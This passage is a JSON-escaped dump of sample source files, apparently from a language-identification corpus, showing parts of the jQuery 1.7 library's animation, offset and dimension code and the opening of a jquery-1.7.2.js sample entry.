in prop ) {\n\t\t\t\te = new jQuery.fx( this, opt, p );\n\t\t\t\tval = prop[ p ];\n\n\t\t\t\tif ( rfxtypes.test(val) ) {\n\t\t\t\t\te[ val === \"toggle\" ? hidden ? \"show\" : \"hide\" : val ]();\n\n\t\t\t\t} else {\n\t\t\t\t\tparts = rfxnum.exec( val );\n\t\t\t\t\tstart = e.cur();\n\n\t\t\t\t\tif ( parts ) {\n\t\t\t\t\t\tend = parseFloat( parts[2] );\n\t\t\t\t\t\tunit = parts[3] || ( jQuery.cssNumber[ p ] ? \"\" : \"px\" );\n\n\t\t\t\t\t\t// We need to compute starting value\n\t\t\t\t\t\tif ( unit !== \"px\" ) {\n\t\t\t\t\t\t\tjQuery.style( this, p, (end || 1) + unit);\n\t\t\t\t\t\t\tstart = ((end || 1) / e.cur()) * start;\n\t\t\t\t\t\t\tjQuery.style( this, p, start + unit);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// If a +=/-= token was provided, we're doing a relative animation\n\t\t\t\t\t\tif ( parts[1] ) {\n\t\t\t\t\t\t\tend = ( (parts[ 1 ] === \"-=\" ? -1 : 1) * end ) + start;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\te.custom( start, end, unit );\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\te.custom( start, val, \"\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// For JS strict compliance\n\t\t\treturn true;\n\t\t});\n\t},\n\n\tstop: function( clearQueue, gotoEnd ) {\n\t\tif ( clearQueue ) {\n\t\t\tthis.queue([]);\n\t\t}\n\n\t\tthis.each(function() {\n\t\t\tvar timers = jQuery.timers,\n\t\t\t\ti = timers.length;\n\t\t\t// clear marker counters if we know they won't be\n\t\t\tif ( !gotoEnd ) {\n\t\t\t\tjQuery._unmark( true, this );\n\t\t\t}\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( timers[i].elem === this ) {\n\t\t\t\t\tif (gotoEnd) {\n\t\t\t\t\t\t// force the next step to be the last\n\t\t\t\t\t\ttimers[i](true);\n\t\t\t\t\t}\n\n\t\t\t\t\ttimers.splice(i, 1);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\t// start the next in the queue if the last step wasn't forced\n\t\tif ( !gotoEnd ) {\n\t\t\tthis.dequeue();\n\t\t}\n\n\t\treturn this;\n\t}\n\n});\n\n// Animations created synchronously will run synchronously\nfunction createFxNow() {\n\tsetTimeout( clearFxNow, 0 );\n\treturn ( fxNow = jQuery.now() );\n}\n\nfunction clearFxNow() {\n\tfxNow = undefined;\n}\n\n// Generate parameters to create a standard animation\nfunction genFx( type, num ) {\n\tvar obj = {};\n\n\tjQuery.each( fxAttrs.concat.apply([], fxAttrs.slice(0,num)), function() {\n\t\tobj[ this ] = type;\n\t});\n\n\treturn obj;\n}\n\n// Generate shortcuts for custom animations\njQuery.each({\n\tslideDown: genFx(\"show\", 1),\n\tslideUp: genFx(\"hide\", 1),\n\tslideToggle: genFx(\"toggle\", 1),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" },\n\tfadeToggle: { opacity: \"toggle\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn this.animate( props, speed, easing, callback );\n\t};\n});\n\njQuery.extend({\n\tspeed: function( speed, easing, fn ) {\n\t\tvar opt = speed && typeof speed === \"object\" ? jQuery.extend({}, speed) : {\n\t\t\tcomplete: fn || !fn && easing ||\n\t\t\t\tjQuery.isFunction( speed ) && speed,\n\t\t\tduration: speed,\n\t\t\teasing: fn && easing || easing && !jQuery.isFunction(easing) && easing\n\t\t};\n\n\t\topt.duration = jQuery.fx.off ? 0 : typeof opt.duration === \"number\" ? opt.duration :\n\t\t\topt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;\n\n\t\t// Queueing\n\t\topt.old = opt.complete;\n\t\topt.complete = function( noUnmark ) {\n\t\t\tif ( opt.queue !== false ) {\n\t\t\t\tjQuery.dequeue( this );\n\t\t\t} else if ( noUnmark !== false ) {\n\t\t\t\tjQuery._unmark( this );\n\t\t\t}\n\n\t\t\tif ( jQuery.isFunction( opt.old ) ) {\n\t\t\t\topt.old.call( this );\n\t\t\t}\n\t\t};\n\n\t\treturn opt;\n\t},\n\n\teasing: {\n\t\tlinear: function( p, n, firstNum, diff ) {\n\t\t\treturn firstNum + diff * p;\n\t\t},\n\t\tswing: function( p, n, firstNum, diff ) {\n\t\t\treturn ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum;\n\t\t}\n\t},\n\n\ttimers: [],\n\n\tfx: function( elem, options, prop ) {\n\t\tthis.options = options;\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\n\t\toptions.orig = options.orig || {};\n\t}\n\n});\n\njQuery.fx.prototype = {\n\t// Simple function for setting a style value\n\tupdate: function() {\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\t(jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this );\n\t},\n\n\t// Get the current size\n\tcur: function() {\n\t\tif ( this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null) ) {\n\t\t\treturn this.elem[ this.prop ];\n\t\t}\n\n\t\tvar parsed,\n\t\t\tr = jQuery.css( this.elem, this.prop );\n\t\t// Empty strings, null, undefined and \"auto\" are converted to 0,\n\t\t// complex values such as \"rotate(1rad)\" are returned as is,\n\t\t// simple values such as \"10px\" are parsed to Float.\n\t\treturn isNaN( parsed = parseFloat( r ) ) ? !r || r === \"auto\" ? 0 : r : parsed;\n\t},\n\n\t// Start an animation from one number to another\n\tcustom: function( from, to, unit ) {\n\t\tvar self = this,\n\t\t\tfx = jQuery.fx,\n\t\t\traf;\n\n\t\tthis.startTime = fxNow || createFxNow();\n\t\tthis.start = from;\n\t\tthis.end = to;\n\t\tthis.unit = unit || this.unit || ( jQuery.cssNumber[ this.prop ] ? \"\" : \"px\" );\n\t\tthis.now = this.start;\n\t\tthis.pos = this.state = 0;\n\n\t\tfunction t( gotoEnd ) {\n\t\t\treturn self.step(gotoEnd);\n\t\t}\n\n\t\tt.elem = this.elem;\n\n\t\tif ( t() && jQuery.timers.push(t) && !timerId ) {\n\t\t\t// Use requestAnimationFrame instead of setInterval if available\n\t\t\tif ( requestAnimationFrame ) {\n\t\t\t\ttimerId = 1;\n\t\t\t\traf = function() {\n\t\t\t\t\t// When timerId gets set to null at any point, this stops\n\t\t\t\t\tif ( timerId ) {\n\t\t\t\t\t\trequestAnimationFrame( raf );\n\t\t\t\t\t\tfx.tick();\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\trequestAnimationFrame( raf );\n\t\t\t} else {\n\t\t\t\ttimerId = setInterval( fx.tick, fx.interval );\n\t\t\t}\n\t\t}\n\t},\n\n\t// Simple 'show' function\n\tshow: function() {\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[this.prop] = jQuery.style( this.elem, this.prop );\n\t\tthis.options.show = true;\n\n\t\t// Begin the animation\n\t\t// Make sure that we start at a small width/height to avoid any\n\t\t// flash of content\n\t\tthis.custom(this.prop === \"width\" || this.prop === \"height\" ? 1 : 0, this.cur());\n\n\t\t// Start by showing the element\n\t\tjQuery( this.elem ).show();\n\t},\n\n\t// Simple 'hide' function\n\thide: function() {\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[this.prop] = jQuery.style( this.elem, this.prop );\n\t\tthis.options.hide = true;\n\n\t\t// Begin the animation\n\t\tthis.custom(this.cur(), 0);\n\t},\n\n\t// Each step of an animation\n\tstep: function( gotoEnd ) {\n\t\tvar t = fxNow || createFxNow(),\n\t\t\tdone = true,\n\t\t\telem = this.elem,\n\t\t\toptions = this.options,\n\t\t\ti, n;\n\n\t\tif ( gotoEnd || t >= options.duration + this.startTime ) {\n\t\t\tthis.now = this.end;\n\t\t\tthis.pos = this.state = 1;\n\t\t\tthis.update();\n\n\t\t\toptions.animatedProperties[ this.prop ] = true;\n\n\t\t\tfor ( i in options.animatedProperties ) {\n\t\t\t\tif ( options.animatedProperties[i] !== true ) {\n\t\t\t\t\tdone = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( done ) {\n\t\t\t\t// Reset the overflow\n\t\t\t\tif ( options.overflow != null && !jQuery.support.shrinkWrapBlocks ) {\n\n\t\t\t\t\tjQuery.each( [ \"\", \"X\", \"Y\" ], function (index, value) {\n\t\t\t\t\t\telem.style[ \"overflow\" + value ] = options.overflow[index];\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Hide the element if the \"hide\" operation was done\n\t\t\t\tif ( options.hide ) {\n\t\t\t\t\tjQuery(elem).hide();\n\t\t\t\t}\n\n\t\t\t\t// Reset the properties, if the item has been hidden or shown\n\t\t\t\tif ( options.hide || options.show ) {\n\t\t\t\t\tfor ( var p in options.animatedProperties ) {\n\t\t\t\t\t\tjQuery.style( elem, p, options.orig[p] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Execute the complete function\n\t\t\t\toptions.complete.call( elem );\n\t\t\t}\n\n\t\t\treturn false;\n\n\t\t} else {\n\t\t\t// classical easing cannot be used with an Infinity duration\n\t\t\tif ( options.duration == Infinity ) {\n\t\t\t\tthis.now = t;\n\t\t\t} else {\n\t\t\t\tn = t - this.startTime;\n\t\t\t\tthis.state = n / options.duration;\n\n\t\t\t\t// Perform the easing function, defaults to swing\n\t\t\t\tthis.pos = jQuery.easing[ options.animatedProperties[ this.prop ] ]( this.state, n, 0, 1, options.duration );\n\t\t\t\tthis.now = this.start + ((this.end - this.start) * this.pos);\n\t\t\t}\n\t\t\t// Perform the next step of the animation\n\t\t\tthis.update();\n\t\t}\n\n\t\treturn true;\n\t}\n};\n\njQuery.extend( jQuery.fx, {\n\ttick: function() {\n\t\tfor ( var timers = jQuery.timers, i = 0 ; i < timers.length ; ++i ) {\n\t\t\tif ( !timers[i]() ) {\n\t\t\t\ttimers.splice(i--, 1);\n\t\t\t}\n\t\t}\n\n\t\tif ( !timers.length ) {\n\t\t\tjQuery.fx.stop();\n\t\t}\n\t},\n\n\tinterval: 13,\n\n\tstop: function() {\n\t\tclearInterval( timerId );\n\t\ttimerId = null;\n\t},\n\n\tspeeds: {\n\t\tslow: 600,\n\t\tfast: 200,\n\t\t// Default speed\n\t\t_default: 400\n\t},\n\n\tstep: {\n\t\topacity: function( fx ) {\n\t\t\tjQuery.style( fx.elem, \"opacity\", fx.now );\n\t\t},\n\n\t\t_default: function( fx ) {\n\t\t\tif ( fx.elem.style && fx.elem.style[ fx.prop ] != null ) {\n\t\t\t\tfx.elem.style[ fx.prop ] = (fx.prop === \"width\" || fx.prop === \"height\" ? Math.max(0, fx.now) : fx.now) + fx.unit;\n\t\t\t} else {\n\t\t\t\tfx.elem[ fx.prop ] = fx.now;\n\t\t\t}\n\t\t}\n\t}\n});\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.animated = function( elem ) {\n\t\treturn jQuery.grep(jQuery.timers, function( fn ) {\n\t\t\treturn elem === fn.elem;\n\t\t}).length;\n\t};\n}\n\n// Try to restore the default display value of an element\nfunction defaultDisplay( nodeName ) {\n\n\tif ( !elemdisplay[ nodeName ] ) {\n\n\t\tvar elem = jQuery( \"<\" + nodeName + \">\" ).appendTo( \"body\" ),\n\t\t\tdisplay = elem.css( \"display\" );\n\n\t\telem.remove();\n\n\t\t// If the simple way fails,\n\t\t// get element's real default display by attaching it to a temp iframe\n\t\tif ( display === \"none\" || display === \"\" ) {\n\t\t\t// No iframe to use yet, so create it\n\t\t\tif ( !iframe ) {\n\t\t\t\tiframe = document.createElement( \"iframe\" );\n\t\t\t\tiframe.frameBorder = iframe.width = iframe.height = 0;\n\t\t\t}\n\n\t\t\tdocument.body.appendChild( iframe );\n\n\t\t\t// Create a cacheable copy of the iframe document on first call.\n\t\t\t// IE and Opera will allow us to reuse the iframeDoc without re-writing the fake html\n\t\t\t// document to it, Webkit & Firefox won't allow reusing the iframe document\n\t\t\tif ( !iframeDoc || !iframe.createElement ) {\n\t\t\t\tiframeDoc = ( iframe.contentWindow || iframe.contentDocument ).document;\n\t\t\t\tiframeDoc.write( \"<!doctype><html><body></body></html>\" );\n\t\t\t}\n\n\t\t\telem = iframeDoc.createElement( nodeName );\n\n\t\t\tiframeDoc.body.appendChild( elem );\n\n\t\t\tdisplay = jQuery.css( elem, \"display\" );\n\n\t\t\tdocument.body.removeChild( iframe );\n\t\t}\n\n\t\t// Store the correct default display\n\t\telemdisplay[ nodeName ] = display;\n\t}\n\n\treturn elemdisplay[ nodeName ];\n}\n\n\n\n\nvar rtable = /^t(?:able|d|h)$/i,\n\trroot = /^(?:body|html)$/i;\n\nif ( \"getBoundingClientRect\" in document.documentElement ) {\n\tjQuery.fn.offset = function( options ) {\n\t\tvar elem = this[0], box;\n\n\t\tif ( options ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t});\n\t\t}\n\n\t\tif ( !elem || !elem.ownerDocument ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( elem === elem.ownerDocument.body ) {\n\t\t\treturn jQuery.offset.bodyOffset( elem );\n\t\t}\n\n\t\ttry {\n\t\t\tbox = elem.getBoundingClientRect();\n\t\t} catch(e) {}\n\n\t\tvar doc = elem.ownerDocument,\n\t\t\tdocElem = doc.documentElement;\n\n\t\t// Make sure we're not dealing with a disconnected DOM node\n\t\tif ( !box || !jQuery.contains( docElem, elem ) ) {\n\t\t\treturn box ? { top: box.top, left: box.left } : { top: 0, left: 0 };\n\t\t}\n\n\t\tvar body = doc.body,\n\t\t\twin = getWindow(doc),\n\t\t\tclientTop  = docElem.clientTop  || body.clientTop  || 0,\n\t\t\tclientLeft = docElem.clientLeft || body.clientLeft || 0,\n\t\t\tscrollTop  = win.pageYOffset || jQuery.support.boxModel && docElem.scrollTop  || body.scrollTop,\n\t\t\tscrollLeft = win.pageXOffset || jQuery.support.boxModel && docElem.scrollLeft || body.scrollLeft,\n\t\t\ttop  = box.top  + scrollTop  - clientTop,\n\t\t\tleft = box.left + scrollLeft - clientLeft;\n\n\t\treturn { top: top, left: left };\n\t};\n\n} else {\n\tjQuery.fn.offset = function( options ) {\n\t\tvar elem = this[0];\n\n\t\tif ( options ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t});\n\t\t}\n\n\t\tif ( !elem || !elem.ownerDocument ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( elem === elem.ownerDocument.body ) {\n\t\t\treturn jQuery.offset.bodyOffset( elem );\n\t\t}\n\n\t\tjQuery.offset.initialize();\n\n\t\tvar computedStyle,\n\t\t\toffsetParent = elem.offsetParent,\n\t\t\tprevOffsetParent = elem,\n\t\t\tdoc = elem.ownerDocument,\n\t\t\tdocElem = doc.documentElement,\n\t\t\tbody = doc.body,\n\t\t\tdefaultView = doc.defaultView,\n\t\t\tprevComputedStyle = defaultView ? defaultView.getComputedStyle( elem, null ) : elem.currentStyle,\n\t\t\ttop = elem.offsetTop,\n\t\t\tleft = elem.offsetLeft;\n\n\t\twhile ( (elem = elem.parentNode) && elem !== body && elem !== docElem ) {\n\t\t\tif ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcomputedStyle = defaultView ? defaultView.getComputedStyle(elem, null) : elem.currentStyle;\n\t\t\ttop  -= elem.scrollTop;\n\t\t\tleft -= elem.scrollLeft;\n\n\t\t\tif ( elem === offsetParent ) {\n\t\t\t\ttop  += elem.offsetTop;\n\t\t\t\tleft += elem.offsetLeft;\n\n\t\t\t\tif ( jQuery.offset.doesNotAddBorder && !(jQuery.offset.doesAddBorderForTableAndCells && rtable.test(elem.nodeName)) ) {\n\t\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t\t}\n\n\t\t\t\tprevOffsetParent = offsetParent;\n\t\t\t\toffsetParent = elem.offsetParent;\n\t\t\t}\n\n\t\t\tif ( jQuery.offset.subtractsBorderForOverflowNotVisible && computedStyle.overflow !== \"visible\" ) {\n\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t}\n\n\t\t\tprevComputedStyle = computedStyle;\n\t\t}\n\n\t\tif ( prevComputedStyle.position === \"relative\" || prevComputedStyle.position === \"static\" ) {\n\t\t\ttop  += body.offsetTop;\n\t\t\tleft += body.offsetLeft;\n\t\t}\n\n\t\tif ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\ttop  += Math.max( docElem.scrollTop, body.scrollTop );\n\t\t\tleft += Math.max( docElem.scrollLeft, body.scrollLeft );\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t};\n}\n\njQuery.offset = {\n\tinitialize: function() {\n\t\tvar body = document.body, container = document.createElement(\"div\"), innerDiv, checkDiv, table, td, bodyMarginTop = parseFloat( jQuery.css(body, \"marginTop\") ) || 0,\n\t\t\thtml = \"<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>\";\n\n\t\tjQuery.extend( container.style, { position: \"absolute\", top: 0, left: 0, margin: 0, border: 0, width: \"1px\", height: \"1px\", visibility: \"hidden\" } );\n\n\t\tcontainer.innerHTML = html;\n\t\tbody.insertBefore( container, body.firstChild );\n\t\tinnerDiv = container.firstChild;\n\t\tcheckDiv = innerDiv.firstChild;\n\t\ttd = innerDiv.nextSibling.firstChild.firstChild;\n\n\t\tthis.doesNotAddBorder = (checkDiv.offsetTop !== 5);\n\t\tthis.doesAddBorderForTableAndCells = (td.offsetTop === 5);\n\n\t\tcheckDiv.style.position = \"fixed\";\n\t\tcheckDiv.style.top = \"20px\";\n\n\t\t// safari subtracts parent border width here which is 5px\n\t\tthis.supportsFixedPosition = (checkDiv.offsetTop === 20 || checkDiv.offsetTop === 15);\n\t\tcheckDiv.style.position = checkDiv.style.top = \"\";\n\n\t\tinnerDiv.style.overflow = \"hidden\";\n\t\tinnerDiv.style.position = \"relative\";\n\n\t\tthis.subtractsBorderForOverflowNotVisible = (checkDiv.offsetTop === -5);\n\n\t\tthis.doesNotIncludeMarginInBodyOffset = (body.offsetTop !== bodyMarginTop);\n\n\t\tbody.removeChild( container );\n\t\tjQuery.offset.initialize = jQuery.noop;\n\t},\n\n\tbodyOffset: function( body ) {\n\t\tvar top = body.offsetTop,\n\t\t\tleft = body.offsetLeft;\n\n\t\tjQuery.offset.initialize();\n\n\t\tif ( jQuery.offset.doesNotIncludeMarginInBodyOffset ) {\n\t\t\ttop  += parseFloat( jQuery.css(body, \"marginTop\") ) || 0;\n\t\t\tleft += parseFloat( jQuery.css(body, \"marginLeft\") ) || 0;\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t},\n\n\tsetOffset: function( elem, options, i ) {\n\t\tvar position = jQuery.css( elem, \"position\" );\n\n\t\t// set position first, in-case top/left are set even on static elem\n\t\tif ( position === \"static\" ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\n\t\tvar curElem = jQuery( elem ),\n\t\t\tcurOffset = curElem.offset(),\n\t\t\tcurCSSTop = jQuery.css( elem, \"top\" ),\n\t\t\tcurCSSLeft = jQuery.css( elem, \"left\" ),\n\t\t\tcalculatePosition = (position === \"absolute\" || position === \"fixed\") && jQuery.inArray(\"auto\", [curCSSTop, curCSSLeft]) > -1,\n\t\t\tprops = {}, curPosition = {}, curTop, curLeft;\n\n\t\t// need to be able to calculate position if either top or left is auto and position is either absolute or fixed\n\t\tif ( calculatePosition ) {\n\t\t\tcurPosition = curElem.position();\n\t\t\tcurTop = curPosition.top;\n\t\t\tcurLeft = curPosition.left;\n\t\t} else {\n\t\t\tcurTop = parseFloat( curCSSTop ) || 0;\n\t\t\tcurLeft = parseFloat( curCSSLeft ) || 0;\n\t\t}\n\n\t\tif ( jQuery.isFunction( options ) ) {\n\t\t\toptions = options.call( elem, i, curOffset );\n\t\t}\n\n\t\tif (options.top != null) {\n\t\t\tprops.top = (options.top - curOffset.top) + curTop;\n\t\t}\n\t\tif (options.left != null) {\n\t\t\tprops.left = (options.left - curOffset.left) + curLeft;\n\t\t}\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\n\njQuery.fn.extend({\n\tposition: function() {\n\t\tif ( !this[0] ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tvar elem = this[0],\n\n\t\t// Get *real* offsetParent\n\t\toffsetParent = this.offsetParent(),\n\n\t\t// Get correct offsets\n\t\toffset       = this.offset(),\n\t\tparentOffset = rroot.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset();\n\n\t\t// Subtract element margins\n\t\t// note: when an element has margin: auto the offsetLeft and marginLeft\n\t\t// are the same in Safari causing offset.left to incorrectly be 0\n\t\toffset.top  -= parseFloat( jQuery.css(elem, \"marginTop\") ) || 0;\n\t\toffset.left -= parseFloat( jQuery.css(elem, \"marginLeft\") ) || 0;\n\n\t\t// Add offsetParent borders\n\t\tparentOffset.top  += parseFloat( jQuery.css(offsetParent[0], \"borderTopWidth\") ) || 0;\n\t\tparentOffset.left += parseFloat( jQuery.css(offsetParent[0], \"borderLeftWidth\") ) || 0;\n\n\t\t// Subtract the two offsets\n\t\treturn {\n\t\t\ttop:  offset.top  - parentOffset.top,\n\t\t\tleft: offset.left - parentOffset.left\n\t\t};\n\t},\n\n\toffsetParent: function() {\n\t\treturn this.map(function() {\n\t\t\tvar offsetParent = this.offsetParent || document.body;\n\t\t\twhile ( offsetParent && (!rroot.test(offsetParent.nodeName) && jQuery.css(offsetParent, \"position\") === \"static\") ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\t\t\treturn offsetParent;\n\t\t});\n\t}\n});\n\n\n// Create scrollLeft and scrollTop methods\njQuery.each( [\"Left\", \"Top\"], function( i, name ) {\n\tvar method = \"scroll\" + name;\n\n\tjQuery.fn[ method ] = function( val ) {\n\t\tvar elem, win;\n\n\t\tif ( val === undefined ) {\n\t\t\telem = this[ 0 ];\n\n\t\t\tif ( !elem ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\twin = getWindow( elem );\n\n\t\t\t// Return the scroll offset\n\t\t\treturn win ? (\"pageXOffset\" in win) ? win[ i ? \"pageYOffset\" : \"pageXOffset\" ] :\n\t\t\t\tjQuery.support.boxModel && win.document.documentElement[ method ] ||\n\t\t\t\t\twin.document.body[ method ] :\n\t\t\t\telem[ method ];\n\t\t}\n\n\t\t// Set the scroll offset\n\t\treturn this.each(function() {\n\t\t\twin = getWindow( this );\n\n\t\t\tif ( win ) {\n\t\t\t\twin.scrollTo(\n\t\t\t\t\t!i ? val : jQuery( win ).scrollLeft(),\n\t\t\t\t\t i ? val : jQuery( win ).scrollTop()\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\tthis[ method ] = val;\n\t\t\t}\n\t\t});\n\t};\n});\n\nfunction getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ?\n\t\telem :\n\t\telem.nodeType === 9 ?\n\t\t\telem.defaultView || elem.parentWindow :\n\t\t\tfalse;\n}\n\n\n\n\n// Create innerHeight, innerWidth, outerHeight and outerWidth methods\njQuery.each([ \"Height\", \"Width\" ], function( i, name ) {\n\n\tvar type = name.toLowerCase();\n\n\t// innerHeight and innerWidth\n\tjQuery.fn[\"inner\" + name] = function() {\n\t\treturn this[0] ?\n\t\t\tparseFloat( jQuery.css( this[0], type, \"padding\" ) ) :\n\t\t\tnull;\n\t};\n\n\t// outerHeight and outerWidth\n\tjQuery.fn[\"outer\" + name] = function( margin ) {\n\t\treturn this[0] ?\n\t\t\tparseFloat( jQuery.css( this[0], type, margin ? \"margin\" : \"border\" ) ) :\n\t\t\tnull;\n\t};\n\n\tjQuery.fn[ type ] = function( size ) {\n\t\t// Get window width or height\n\t\tvar elem = this[0];\n\t\tif ( !elem ) {\n\t\t\treturn size == null ? null : this;\n\t\t}\n\n\t\tif ( jQuery.isFunction( size ) ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tvar self = jQuery( this );\n\t\t\t\tself[ type ]( size.call( this, i, self[ type ]() ) );\n\t\t\t});\n\t\t}\n\n\t\tif ( jQuery.isWindow( elem ) ) {\n\t\t\t// Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode\n\t\t\t// 3rd condition allows Nokia support, as it supports the docElem prop but not CSS1Compat\n\t\t\tvar docElemProp = elem.document.documentElement[ \"client\" + name ];\n\t\t\treturn elem.document.compatMode === \"CSS1Compat\" && docElemProp ||\n\t\t\t\telem.document.body[ \"client\" + name ] || docElemProp;\n\n\t\t// Get document width or height\n\t\t} else if ( elem.nodeType === 9 ) {\n\t\t\t// Either scroll[Width/Height] or offset[Width/Height], whichever is greater\n\t\t\treturn Math.max(\n\t\t\t\telem.documentElement[\"client\" + name],\n\t\t\t\telem.body[\"scroll\" + name], elem.documentElement[\"scroll\" + name],\n\t\t\t\telem.body[\"offset\" + name], elem.documentElement[\"offset\" + name]\n\t\t\t);\n\n\t\t// Get or set width or height on the element\n\t\t} else if ( size === undefined ) {\n\t\t\tvar orig = jQuery.css( elem, type ),\n\t\t\t\tret = parseFloat( orig );\n\n\t\t\treturn jQuery.isNaN( ret ) ? orig : ret;\n\n\t\t// Set the width or height on the element (default to pixels if value is unitless)\n\t\t} else {\n\t\t\treturn this.css( type, typeof size === \"string\" ? size : size + \"px\" );\n\t\t}\n\t};\n\n});\n\n\nwindow.jQuery = window.$ = jQuery;\n})(window);\n"
  },
  {
    "path": "samples/JavaScript/jquery-1.7.2.js",
    "content": "/*!\n * jQuery JavaScript Library v1.7.2\n * http://jquery.com/\n *\n * Copyright 2011, John Resig\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * Includes Sizzle.js\n * http://sizzlejs.com/\n * Copyright 2011, The Dojo Foundation\n * Released under the MIT, BSD, and GPL Licenses.\n *\n * Date: Wed Mar 21 12:46:34 2012 -0700\n */\n(function( window, undefined ) {\n\n// Use the correct document accordingly with window argument (sandbox)\nvar document = window.document,\n\tnavigator = window.navigator,\n\tlocation = window.location;\nvar jQuery = (function() {\n\n// Define a local copy of jQuery\nvar jQuery = function( selector, context ) {\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\treturn new jQuery.fn.init( selector, context, rootjQuery );\n\t},\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$,\n\n\t// A central reference to the root jQuery(document)\n\trootjQuery,\n\n\t// A simple way to check for HTML strings or ID strings\n\t// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)\n\tquickExpr = /^(?:[^#<]*(<[\\w\\W]+>)[^>]*$|#([\\w\\-]*)$)/,\n\n\t// Check if a string has a non-whitespace character in it\n\trnotwhite = /\\S/,\n\n\t// Used for trimming whitespace\n\ttrimLeft = /^\\s+/,\n\ttrimRight = /\\s+$/,\n\n\t// Match a standalone tag\n\trsingleTag = /^<(\\w+)\\s*\\/?>(?:<\\/\\1>)?$/,\n\n\t// JSON RegExp\n\trvalidchars = /^[\\],:{}\\s]*$/,\n\trvalidescape = /\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,\n\trvalidtokens = /\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,\n\trvalidbraces = /(?:^|:|,)(?:\\s*\\[)+/g,\n\n\t// Useragent RegExp\n\trwebkit = /(webkit)[ \\/]([\\w.]+)/,\n\tropera = /(opera)(?:.*version)?[ \\/]([\\w.]+)/,\n\trmsie = /(msie) ([\\w.]+)/,\n\trmozilla = /(mozilla)(?:.*? rv:([\\w.]+))?/,\n\n\t// Matches dashed string for camelizing\n\trdashAlpha = /-([a-z]|[0-9])/ig,\n\trmsPrefix = /^-ms-/,\n\n\t// Used by jQuery.camelCase as callback to replace()\n\tfcamelCase = function( all, letter ) {\n\t\treturn ( letter + \"\" ).toUpperCase();\n\t},\n\n\t// Keep a UserAgent string for use with jQuery.browser\n\tuserAgent = navigator.userAgent,\n\n\t// For matching the engine and version of the browser\n\tbrowserMatch,\n\n\t// The deferred used on DOM ready\n\treadyList,\n\n\t// The ready event handler\n\tDOMContentLoaded,\n\n\t// Save a reference to some core methods\n\ttoString = Object.prototype.toString,\n\thasOwn = Object.prototype.hasOwnProperty,\n\tpush = Array.prototype.push,\n\tslice = Array.prototype.slice,\n\ttrim = String.prototype.trim,\n\tindexOf = Array.prototype.indexOf,\n\n\t// [[Class]] -> type pairs\n\tclass2type = {};\n\njQuery.fn = jQuery.prototype = {\n\tconstructor: jQuery,\n\tinit: function( selector, context, rootjQuery ) {\n\t\tvar match, elem, ret, doc;\n\n\t\t// Handle $(\"\"), $(null), or $(undefined)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle $(DOMElement)\n\t\tif ( selector.nodeType ) {\n\t\t\tthis.context = 